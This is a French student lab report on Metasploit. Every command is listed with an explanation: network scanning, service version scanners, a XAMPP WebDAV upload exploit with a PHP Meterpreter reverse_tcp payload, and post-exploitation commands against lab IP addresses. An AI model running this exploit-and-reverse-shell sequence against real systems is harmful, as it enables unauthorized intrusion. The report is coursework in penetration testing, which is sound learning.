Compte rendu metasploit

TP METASLPOIT

PETTE Benjamin

2024

**1 – Les commandes utiliser sont :**

* **apt-cache show metasploit-framework | tail -n 6**

*Affiche les six dernières lignes des informations du paquet metasploit-framework.*

* **msfconsole**

*Lance la console Metasploit.*

* **workspace -a msftest**

*Crée et active un nouvel espace de travail nommé "msftest".*

* ***clear***

*Efface l'écran de la console.*

* **db\_nmap -F 192.168.0.1-10**

*Scanne rapidement les ports de la plage d'adresses IP 192.168.0.1 à 192.168.0.10*

* **hosts**

*Affiche la liste des hôtes découverts.*

* **services**

*Affiche la liste des services détectés sur les hôtes.*

* **use auxiliary/scanner/ssh/ssh\_version**

*Sélectionne le module de scan de version SSH*

* **options**

*Affiche les options configurables pour le module sélectionné.*

* **services -u -p 22 -R**

*Met à jour la liste des services pour les hôtes ayant le port 22 ouvert et définit ces services comme actifs*

* **setg threads 10**

*Définit globalement le nombre de threads à utiliser à 10.*

* **run**

*Exécute le module de scan de version SSH*

* **use auxiliary/scanner/http/http\_version**

*Sélectionne le module de scan de version http.*

* **options**

*Affiche les options configurables pour le module sélectionné.*

* **services -u -p 80 -R**

*Met à jour la liste des services pour les hôtes ayant le port 80 ouvert et définit ces services comme actifs.*

* **run**

*Exécute le module de scan de version http.*

* **use auxiliary/scanner/smb/smb\_version**

*Sélectionne le module de scan de version SMB.*

* **options**

*Affiche les options configurables pour le module sélectionné.*

* **services -u -p 445 -R**

*Met à jour la liste des services pour les hôtes ayant le port 445 ouvert et définit ces services comme actifs.*

* **run**

*Exécute le module de scan de version SMB.*

* **clear**

*Efface l'écran de la console.*

* **hosts**

*Affiche la liste des hôtes découverts.*

* **service -u**

*Met à jour la liste des services.*

* **services 192.168.0.6**

*Affiche les services détectés sur l'hôte 192.168.0.6.*

* **search xampp**

*Recherche les exploits disponibles pour XAMPP dans la base de données Metasploit.*

* **use exploit/windows/http/xampp\_webdav\_upload\_php**

*Sélectionne l'exploit pour XAMPP WebDAV.*

* **options**

*Affiche les options configurables pour l'exploit sélectionné.*

* **set rhost 192.168.0.6**

*Définit l'adresse IP de l'hôte cible à 192.168.0.6.*

* **show payloads**

*Affiche les payloads disponibles pour l'exploit sélectionné.*

* **set payload php/meterpreter/reverse\_tcp**

*Sélectionne le payload Meterpreter PHP pour une connexion TCP inversée.*

* **options**

*Affiche les options configurables pour le payload sélectionné.*

* **set lhost 192.168.0.15**

*Définit l'adresse IP locale pour recevoir la connexion inversée à 192.168.0.15.*

* **exploit**

*Lance l'exploit contre la cible spécifiée.*

* **ps**

*Affiche les processus en cours sur la machine compromise.*

* **getuid**

*Affiche l'identifiant de l'utilisateur en cours sur la machine compromise.*

* **sysinfo**

*Affiche des informations système sur la machine compromise.*

* **exit**

*Quitte la session Meterpreter.*

* **exit**

*Quitte la console Metasploit.*

* **clear**

*Efface l'écran de la console.*

**2 -** **Quel est le principe de fonctionnement du programme ?**

Le principe de fonctionnement du programme est :

* Reconnaissance : Scanne le réseau pour découvrir les hôtes et services actifs.
* Analyse : Détermine les versions des services SSH, HTTP et SMB sur les hôtes.
* Exploitation : Utilise une vulnérabilité dans XAMPP WebDAV pour obtenir un accès non autorisé.
* Post-exploitation : Recueille des informations sur le système compromis.
* Nettoyage : Efface les traces et quitte les sessions.

**3 - Reconnaissez-vous des logiciels déjà vus par le passé ?**

Oui j’ai déjà pu faire la découverte même si minime de Nmap durant des cours particuliers pendant les vacances.

4 – Captures d’écran.

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Une image contenant texte, capture d’écran, logiciel, Logiciel multimédia

Description générée automatiquement

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Test a nouveau les commandes sur une VM Windows Serveur ciblé :

Une image contenant texte, capture d’écran, Logiciel multimédia, logiciel

Description générée automatiquement

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Une image contenant texte, capture d’écran, Police, logiciel

Description générée automatiquement

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Une image contenant texte, Police, capture d’écran

Description générée automatiquement

Une image contenant texte, capture d’écran, Police, logiciel

Description générée automatiquement

Une image contenant texte, capture d’écran, Police, conception

Description générée automatiquement

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Une image contenant texte, capture d’écran, Police

Description générée automatiquement

Malheureusement les dernières commandes ne se sont pas exécutées car la commande : ps n’a pas eu le résultat attendu.

Une image contenant texte, capture d’écran, Police, conception

Description générée automatiquement

**Conclusion et ressentie :**

Suite à ce TP, j'ai découvert beaucoup de choses passionnantes sur la sécurité informatique. J'ai appris à utiliser Metasploit Framework, un outil vraiment puissant pour les tests de pénétration. En manipulant divers modules depuis la console Metasploit, j'ai compris comment effectuer une reconnaissance réseau. Et même utiliser des outils comme Nmap pour scanner les hôtes et les services actifs.

J'ai aussi découvert comment exploiter les vulnérabilités avec Metasploit. En choisissant des exploits et en configurant des payloads, j'ai appris à obtenir un accès non autorisé à un système. Cette partie pratique m'a vraiment montré comment les attaquants peuvent exploiter les failles de sécurité.

Enfin, ce TP m'a fait réaliser l'importance de l'éthique et de la légalité dans l'utilisation de ces techniques. J'ai compris que l'utilisation de ces outils en dehors d'un environnement autorisé peut avoir des conséquences légales graves. Cette prise de conscience est essentielle pour agir de manière responsable et professionnelle dans le domaine de la sécurité informatique.